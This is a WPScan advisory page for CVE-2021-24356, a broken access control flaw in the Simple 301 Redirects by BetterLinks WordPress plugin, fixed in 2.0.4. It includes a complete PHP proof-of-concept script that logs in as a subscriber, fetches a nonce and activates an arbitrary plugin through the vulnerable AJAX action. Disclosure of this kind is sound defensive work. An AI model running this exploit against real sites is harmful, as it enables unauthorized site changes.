WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - Arbitrary Plugin Activation

Description

In the plugin, a lack of capability checks and insufficient nonce check on the AJAX action, simple301redirects/admin/activate_plugin, made it possible for authenticated users to activate arbitrary plugins installed on vulnerable sites. 

Proof of Concept

<?php

// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

echo 'Logging in!';

// 1) Log in as sub+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

echo 'Getting REST API Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Rest Nonce
preg_match('/([^"]+)/', $content, $matches);
$restnonce = $matches[1];
echo $restnonce;

echo 'Activating Plugin!';
//Activating Plugin
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'action' => 'simple301redirects/admin/activate_plugin',
    'security' => $restnonce,
    'basename' => 'wordfence/wordfence.php',
] );
$output = curl_exec($ch);
curl_close($ch);
print($output)

?> 

Affects Plugins

simple-301-redirects
Fixed in version 2.0.4

References

CVE
CVE-2021-24356
URL
https://www.wordfence.com/blog/2021/05/severe-vulnerabilities-patched-in-simple-301-redirects-by-betterlinks-plugin/

Classification

Type

ACCESS CONTROLS

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

Yes

WPVDB ID
be356530-5e00-4f27-8177-b80f3c1ae6e8

Timeline

Publicly Published

2021-05-26 (about 12 months ago)

Added

2021-05-26 (about 12 months ago)

Last Updated

2021-05-28 (about 12 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us